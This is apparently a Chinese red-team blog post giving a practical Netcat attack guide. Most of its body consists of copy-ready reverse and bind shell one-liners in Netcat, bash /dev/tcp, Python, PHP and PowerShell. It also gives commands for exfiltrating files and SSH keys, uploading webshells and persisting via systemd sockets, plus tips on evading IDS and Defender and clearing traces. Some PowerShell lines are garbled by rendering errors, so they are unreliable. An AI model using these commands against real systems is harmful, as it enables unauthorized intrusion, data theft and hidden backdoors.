【渗透测试 红队】Netcat(NC)渗透实战全指南详解

Netcat(NC)渗透实战全指南

前置说明:NC 被誉为「网络瑞士军刀」,红队 / CTF 环境主流分为 3 个版本,命令存在差异,需提前区分:

  1. GNU Netcat :传统版本,原生支持-e/--exec参数,CentOS、RHEL 等系统默认预装
  2. OpenBSD Netcat :安全加固版,默认移除-e参数,Ubuntu、Debian、Kali 新版默认预装
  3. Ncat:Nmap 项目维护的增强版,全功能兼容,Windows/Linux 全平台支持,红队首选

一. 核心定义与全称

NC 全称:Netcat(网络猫) ,被誉为网络瑞士军刀 ,是跨平台轻量级网络工具,支持 TCP/UDP 协议,核心用于端口监听、连接建立、数据传输、反弹 Shell、端口扫描、后门制作、内网穿透,是红队渗透、 攻防、应急响应的必备基础工具。

二. 核心参数全称 + 功能 + 实战用途

参数 英文全称 中文功能 红队 / 渗透 / 实战用途
-l Listen 监听模式,被动等待连接 开启端口监听,接收反弹 Shell、文件传输
-p Port 指定本地 / 远程端口 自定义监听 / 连接端口,规避防火墙拦截
-v Verbose 详细输出模式 显示连接、传输、扫描的详细日志
-vv Very Verbose 超详细输出模式 排查连接失败、端口不通等故障
-n Numeric 纯数字 IP,不解析 DNS 加速连接,避免 DNS 泄露,提升隐蔽性
-e Execute 执行指定程序 / 命令 制作正向 / 反向 Shell,红队核心后门功能
-u UDP 使用 UDP 协议通信 UDP 端口扫描、UDP 协议数据传输
-t Telnet 支持 Telnet 协商 模拟 Telnet 客户端,连接远程 Telnet 服务
-z Zero-I/O 零 IO 模式(无数据交互) 静默端口扫描,不产生流量痕迹
-w Timeout 设置连接超时时间(秒) 端口扫描、批量连接时控制超时
-L Listen Harder 持续监听(断开后自动重监听) Windows 版专属,持久化监听端口
-k Keep Alive 保持连接(多客户端连接) 允许多个客户端连接同一监听端口

三、指定场景实战 NC 命令

场景 1:Linux 靶机反向 Shell

反向 Shell 逻辑:攻击机开启端口监听 → 靶机主动连接攻击机 → 攻击机获得靶机 Shell 交互权限

版本类型 完整可执行命令 参数全称与功能 适用系统 实战场景 执行权限 注意事项
GNU NC(带 - e 参数) 攻击机:nc -lvnp 4444 0.0.0.0靶机:nc 攻击机公网IP 4444 -e /bin/bash -l/--listen:开启监听模式-v/--verbose:详细输出连接信息-n/--nodns:不做 DNS 解析,加快连接速度-p/--port:指定监听端口-e/--exec:连接建立后执行指定程序 CentOS、RHEL、旧版 Kali 红队外网打点、CTF 靶机 GetShell,靶机无入站防火墙限制 靶机普通用户即可执行,root 权限可获得完整系统控制 1. 攻击机必须先开启监听2. 攻击机防火墙 / 安全组需放行 4444 端口入站3. 靶机需能访问攻击机 IP(公网 IP 需做端口映射)
OpenBSD NC(无 - e 参数) 攻击机:nc -lvn 4444 0.0.0.0靶机:`mkfifo /tmp/f; cat /tmp/f /bin/bash -i 2>&1 nc 攻击机公网 IP 4444 > /tmp/f` mkfifo:创建命名管道,实现双向数据交互其余参数同上 Ubuntu、Debian、新版 Kali 靶机预装 OpenBSD NC,无-e参数的场景 普通用户权限 1. OpenBSD NC 监听无需加-p参数 ,否则会报错2. 执行完成后需删除/tmp/f管道文件,清除痕迹
Ncat(增强版) 攻击机:ncat -lvnp 4444 0.0.0.0靶机:ncat 攻击机公网IP 4444 -e /bin/bash 兼容 GNU NC 全部参数,新增 SSL 加密、访问控制等功能 全 Linux 发行版、Windows 红队实战,需加密传输、绕过流量检测的场景 普通用户权限 可加--ssl参数加密流量,避免被 IDS/IPS 检测

场景 2:Windows 正向 Shell

正向 Shell 逻辑:靶机开启端口监听 → 攻击机主动连接靶机 → 攻击机获得靶机 Shell 交互权限

完整可执行命令 参数全称与功能 适用系统 实战场景 执行权限 注意事项
靶机:ncat.exe -lvnp 4444 -e cmd.exe 0.0.0.0攻击机:ncat 靶机IP 4444 -l/--listen:监听模式-e/--exec:连接建立后执行 cmd.exe0.0.0.0:监听所有网卡地址 Windows 7/10/11、Windows Server 2012+ 靶机有公网 IP / 与攻击机同内网,入站防火墙放行端口的场景 普通用户即可执行,管理员权限可获得完整系统控制 1. Windows 原生无 NC,需上传ncat.exe(Nmap 套件自带)到靶机2. 需关闭 Windows Defender 防火墙 / 添加入站规则放行 4444 端口3. 可加--allow 攻击机IP限制仅指定 IP 连接,避免被其他人连接

场景 3:文件传输

模式 1:攻击机接收、靶机发送(靶机可出网,无入站权限)
完整可执行命令 参数全称与功能 适用系统 实战场景 执行权限 注意事项
接收端(攻击机):nc -lvnp 4444 > receive.zip发送端(靶机):nc 攻击机IP 4444 < /tmp/target.zip -q 1 -q/--quit 1:文件传输完成后,等待 1 秒自动退出>/<:输入输出重定向 Linux 全版本,Windows 用ncat同理 红队从靶机下载敏感文件、日志、数据库备份 靶机需有文件读权限,攻击机有目录写权限 1. 大文件建议先压缩再传输,避免丢包2. 必须加-q参数,否则传输完成后 NC 不会自动退出,无法正常打开文件
模式 2:靶机接收、攻击机发送(靶机无出网权限,仅开放入站端口)
完整可执行命令 适用系统 实战场景
接收端(靶机):nc -lvnp 4444 > webshell.jsp发送端(攻击机):nc 靶机IP 4444 < /home/attack/webshell.jsp -q 1 Linux 全版本 红队向靶机上传 Webshell、提权工具

场景 4:静默端口扫描

完整可执行命令 参数全称与功能 适用系统 实战场景 执行权限 注意事项
TCP 全连接静默扫描:nc -zn -w 2 目标IP 1-1000 -z/--zero-io:零 IO 模式,仅探测端口是否开放,不发送任何数据-n/--nodns:不做 DNS 解析,加快扫描速度-w/--wait 2:端口超时时间 2 秒,避免扫描卡顿 Linux 全版本 红队内网信息收集、CTF 端口探测,需隐蔽扫描的场景 普通用户即可执行 1. 不加-v参数实现完全静默,无任何输出,仅通过命令返回值判断端口状态2. 大范围端口扫描建议分段执行,避免被 WAF/IPS 封禁3. 仅支持 TCP 扫描,UDP 扫描需加-u参数

场景 5:UDP 监听与通信

完整可执行命令 参数全称与功能 适用系统 实战场景 执行权限 注意事项
监听端:nc -ulvn 53 0.0.0.0发送端:nc -u 监听端IP 53 -u/--udp:启用 UDP 模式-l/--listen:UDP 端口监听 Linux 全版本 1. 红队 DNS 隧道搭建(53 端口默认被防火墙放行)2. 绕过 TCP 协议拦截的内网环境3. UDP 服务漏洞探测 普通用户权限(1024 以下端口需 root) 1. UDP 是无连接协议,无法保证数据传输可靠性2. 需关闭防火墙对 UDP 端口的拦截3. 可用于反弹 Shell,配合命名管道实现 UDP 反向 Shell

四、NC 命令常见故障排查方案

问题 1:NC 反弹 Shell 失败

分步排查方案
  1. 第一步:验证网络连通性

    • 攻击机执行:ping 靶机IP(测试 ICMP 连通)
    • 靶机执行:nc -zv 攻击机IP 4444(测试端口连通性)
    • 异常处理:若端口不通,检查攻击机安全组 / 防火墙是否放行端口,公网环境需做端口映射。
  2. 第二步:检查监听配置是否正确

    • 错误监听:nc -lvnp 4444 127.0.0.1(仅监听本地,无法接收外部连接)
    • 正确监听:nc -lvnp 4444 0.0.0.0(监听所有网卡,接收外部连接)
  3. 第三步:检查靶机防火墙拦截

    • 靶机临时关闭防火墙测试:

      • Linux:systemctl stop firewalld/ufw disable
      • Windows:关闭 Windows Defender 防火墙
    • 异常处理:若关闭后成功,需添加防火墙放行规则,而非直接关闭。

  4. 第四步:确认 NC 版本兼容性

    • 执行nc --version/nc -h确认版本,OpenBSD NC 不支持-e参数,需用管道方式替代。
命令修改方案
  • -e参数替换为管道命令:mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc 攻击机IP 4444 > /tmp/f
  • 公网环境添加-w 30参数,设置 30 秒超时,避免连接挂起。
替代方案
  • 直接使用系统自带 bash 反向 Shell:bash -i >& /dev/tcp/攻击机IP/4444 0>&1
  • 使用 python 反向 Shell(见第三部分)

问题 2:端口监听无连接

分步排查方案
  1. 第一步:检查监听地址与端口

    • 必须监听0.0.0.0,而非127.0.0.1/ 内网 IP
    • 执行ss -tulnp | grep nc查看监听状态,确认端口已正确监听。
  2. 第二步:检查端口是否被占用

    • 执行lsof -i:4444查看端口是否被其他进程占用,若占用需更换端口。
  3. 第三步:区分 NC 版本的监听参数

    • GNU NC 正确监听:nc -lvnp 4444
    • OpenBSD NC 正确监听:nc -lvn 4444禁止加 - p 参数,否则会监听失败)
  4. 第四步:检查 NAT / 端口映射配置

    • 公网环境需确认路由器 / 云服务器的端口映射已正确配置,外网端口与内网监听端口一致。
命令修改方案
  • OpenBSD NC 移除-p参数,直接指定端口
  • 强制指定监听地址:nc -lvn 0.0.0.0 4444

问题 3:文件传输失败

分步排查方案
  1. 第一步:检查文件权限与路径

    • 发送端:执行ls -l 文件名确认有读权限,使用绝对路径避免相对路径错误
    • 接收端:确认当前目录有写权限,执行pwd查看当前路径
  2. 第二步:检查传输退出参数

    • 必须添加-q 1参数,否则传输完成后 NC 不会退出,文件会处于被占用状态,无法正常打开。
  3. 第三步:检查网络丢包与防火墙

    • 大文件传输添加-w 60参数,延长超时时间,避免网络波动导致传输中断
    • 关闭防火墙 / IDS 的大文件传输拦截规则。
命令修改方案
  • 稳定传输命令:nc 攻击机IP 4444 < /tmp/target.zip -q 1 -w 60
  • 大文件分卷压缩后传输,避免单文件过大导致失败。
替代方案
  • 用 base64 编码小文件,直接复制粘贴到终端,无需网络传输
  • 靶机开启 python 临时 http 服务,攻击机用 wget/curl 下载文件。

问题 4:端口扫描无结果

分步排查方案
  1. 第一步:确认目标主机存活

    • 执行ping 目标IP确认主机在线,若禁 ping,用arping/nmap -sn探测。
  2. 第二步:调整超时时间

    • 内网环境-w 2,公网环境需改为-w 5,避免超时时间过短导致端口状态误判。
  3. 第三步:检查目标防火墙拦截

    • 目标主机可能开启了防火墙,屏蔽了 NC 的 TCP 连接包,改用 SYN 扫描 / 半开扫描。
  4. 第四步:确认-z参数兼容性

    • 部分 OpenBSD NC 版本不支持-z参数,改用nc -vn -w 2 目标IP 端口逐个探测。
命令修改方案
  • 公网扫描命令:nc -zn -w 5 目标IP 21,22,80,443,3306,3389(指定重点端口,而非全端口扫描)
  • -z参数替代:for port in {1..1000}; do nc -vn -w 2 目标IP $port >/dev/null 2>&1 && echo "端口 $port 开放"; done

问题 5:-e 参数不可用

分步排查方案
  1. 第一步:确认 NC 版本

    • 执行nc --version,若显示 OpenBSD Netcat,默认移除了-e参数,这是系统安全加固的默认配置。
  2. 第二步:检查系统是否安装 GNU NC/Ncat

    • 执行which ncat/which netcat,确认是否有其他版本的 NC 可用。
命令修改方案(无 - e 参数的完美替代)
  1. 命名管道反向 Shell

    复制代码
    mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc 攻击机IP 4444 > /tmp/f

    原理:通过命名管道实现 Shell 的输入输出双向交互,完全替代-e参数的功能。

  2. 使用 Ncat 替代

    若靶机有 Nmap 环境,直接用ncat替代nc,原生支持-e参数:

    复制代码
    ncat 攻击机IP 4444 -e /bin/bash

五、禁用 NC 后的核心功能替代方案

1. 反向 Shell 替代方案(全系统自带,无需额外安装)

实现语言 完整可执行命令 适用系统 实战用法 隐蔽性说明
Bash bash -i >& /dev/tcp/攻击机IP/4444 0>&1 全 Linux 发行版 攻击机先开启nc -lvnp 4444监听,靶机执行该命令,直接获得交互式 Shell 系统原生自带,无文件落地,无额外进程,隐蔽性极高,红队首选
Python3 python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("攻击机IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.run(["/bin/bash","-i"])' 全 Linux 发行版、Windows(安装 Python) 攻击机开启监听,靶机执行该命令,兼容 Python3 所有版本,无额外依赖 系统自带 Python 环境,无文件落地,流量特征与正常 Python 请求一致,隐蔽性高
PHP php -r '$sock=fsockopen("攻击机IP",4444);exec("/bin/sh -i <&3 >&3 2>&3");' 安装 PHP 的 Linux/Windows 系统(Web 服务器环境) 适合 Web 打点场景,写入 PHP 一句话后执行该命令,获得 Web 服务器 Shell 仅在 PHP 进程内执行,无系统日志,隐蔽性高,适合 Web 渗透场景
PowerShell(Windows) `powershell -nop -w hidden -c "攻击机stream = client.GetStream();[byte[]]bytes = 0...65535 %{0};while((KaTeX parse error: Expected '}', got 'EOF' at end of input: ...ing).GetString(bytes,0, i);sendback = (iex $data 2>&1 Out-String );sendback2=sendback+′PS′+(pwd).Path+′>′;sendbyte=([text.encoding]::ASCII).GetBytes(sendback2);stream.Write(sendbyte,0,sendbyte.Length);sendback2 = sendback+′PS′+(pwd).Path+′>′;sendbyte = ([text.encoding]::ASCII).GetBytes(sendback2);stream.Write(sendbyte,0,sendbyte.Length);sendback2=sendback+′PS′+(pwd).Path+′>′;sendbyte=([text.encoding]::ASCII).GetBytes(sendback2);stream.Write(sendbyte,0,sendbyte.Length);stream.Flush()};$client.Close()"` Windows 全版本 攻击机开启ncat -lvnp 4444监听,靶机 CMD 中执行该命令,获得 PowerShell 交互式 Shell 无文件落地,仅在内存中执行,可绕过 Windows Defender 静态查杀,隐蔽性高

2. 端口监听替代方案

实现方式 完整可执行命令 适用系统 实战用法 隐蔽性说明
Python3 Socket python3 -c 'import socket;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.bind(("0.0.0.0",4444));s.listen(1);print("监听成功");conn,addr=s.accept();print("来自",addr,"的连接");while True:data=conn.recv(1024).decode();if not data:break;print("收到:",data);conn.send("已收到".encode())' 全 Linux 发行版 监听 4444 端口,接收客户端发送的数据,可用于接收靶机回传的敏感信息、反弹 Shell 系统原生 Python,无额外依赖,进程名与正常 Python 脚本一致,隐蔽性高
Socat 监听:socat TCP-LISTEN:4444,fork STDOUT反向 Shell:socat TCP:攻击机IP:4444 EXEC:/bin/bash 大部分 Linux 发行版默认预装 比 NC 功能更强大,支持端口转发、双向交互,适合 NC 被禁用的场景 系统自带工具,流量特征与正常网络连接一致,隐蔽性中等
Systemd Socket 激活 配置 systemd socket 单元,监听指定端口,触发后执行指定脚本 Linux 系统 持久化端口监听,适合红队留后门场景,开机自启,隐蔽性极高 系统原生机制,无额外进程,日志极少,隐蔽性极高,适合持久化控制

3. 文件传输替代方案

实现方式 完整可执行命令 适用系统 实战用法 隐蔽性说明
Python HTTP 服务 靶机(发送端):python3 -m http.server 8080 --bind 0.0.0.0攻击机(接收端):wget http://靶机IP:8080/target.zip 全 Linux 发行版 靶机在文件所在目录执行该命令,开启临时 HTTP 服务,攻击机直接下载文件,适合批量下载靶机文件 系统原生 Python,无额外依赖,流量为正常 HTTP 请求,可绕过大部分流量检测,隐蔽性高
Base64 编码传输 靶机编码:base64 -w 0 /etc/passwd攻击机解码:`echo"base64 字符串 " base64 -d > passwd` 全 Linux 发行版 适合小文件(配置文件、SSH 密钥)传输,无需网络连接,直接复制粘贴 base64 字符串即可 无网络流量,完全无痕迹,隐蔽性极高,适合严格隔离的内网环境
SCP/SFTP 攻击机下载:scp 用户名@靶机IP:/tmp/target.zip ./ 开启 SSH 服务的 Linux 系统 适合有 SSH 账号密码 / 密钥的场景,加密传输,不会被流量检测 SSH 加密流量,无法被 IDS 解析,隐蔽性高,适合红队内网横向文件传输

4. 端口扫描替代方案

实现方式 完整可执行命令 适用系统 实战用法 隐蔽性说明
Bash 原生端口扫描 for port in {1..1000}; do (echo > /dev/tcp/目标IP/$port) >/dev/null 2>&1 && echo "端口 $port 开放"; done 全 Linux 发行版 纯 Bash 实现,无需任何额外工具,遍历 1-1000 端口,输出开放端口,适合内网信息收集 系统原生 Shell,无额外进程,无文件落地,流量特征与正常 TCP 连接一致,隐蔽性极高
Python3 端口扫描 python3 -c 'import socket;socket.setdefaulttimeout(2);[print(f"端口 {port} 开放") for port in range(1,1000) if socket.socket(socket.AF_INET,socket.SOCK_STREAM).connect_ex(("目标IP",port)) == 0]' 全 Linux 发行版 比 Bash 扫描速度更快,支持自定义超时时间,适合大范围端口扫描 系统原生 Python,无额外依赖,扫描速度可控,可通过调整超时时间绕过 WAF 检测,隐蔽性高
PowerShell 端口扫描(Windows) `powershell -c"$ip=' 目标 IP';1...1000 % { t=New−ObjectSystem.Net.Sockets.TCPClient;c=t.BeginConnect(ip,null,null);w=c.AsyncWaitHandle.WaitOne(200);if(w){t.EndConnect©;Write-Host " 端口 _ 开放"};t.Close()}"` Windows 全版本 纯 PowerShell 实现,无需额外工具,适合 Windows 内网环境端口探测 无文件落地,内存执行,可绕过 Windows Defender 检测,隐蔽性高
相关推荐
_MyFavorite_4 小时前
JAVA重点基础、进阶知识及易错点总结(28)接口默认方法与静态方法
java·开发语言·windows
Yzzz-F4 小时前
Problem - 2146D1 - Codeforces &&Problem - D2 - Codeforces
算法
取码网4 小时前
最新在线留言板系统PHP源码
开发语言·php
Kk.08024 小时前
力扣 LCR 084.全排列||
算法·leetcode·职场和发展
Elastic 中国社区官方博客4 小时前
当 TSDS 遇到 ILM:设计不会拒绝延迟数据的时间序列数据流
大数据·运维·数据库·elasticsearch·搜索引擎·logstash
环黄金线HHJX.4 小时前
龙虾钳足启发的AI集群语言交互新范式
开发语言·人工智能·算法·编辑器·交互
Omics Pro4 小时前
虚拟细胞:开启HIV/AIDS治疗新纪元的关键?
大数据·数据库·人工智能·深度学习·算法·机器学习·计算机视觉
J2虾虾5 小时前
MySQL的基本操作
数据库·mysql
书到用时方恨少!5 小时前
Python Pandas 使用指南:数据分析的瑞士军刀
python·数据分析·pandas
旖-旎5 小时前
分治(快速选择算法)(3)
c++·算法·leetcode·排序算法·快速选择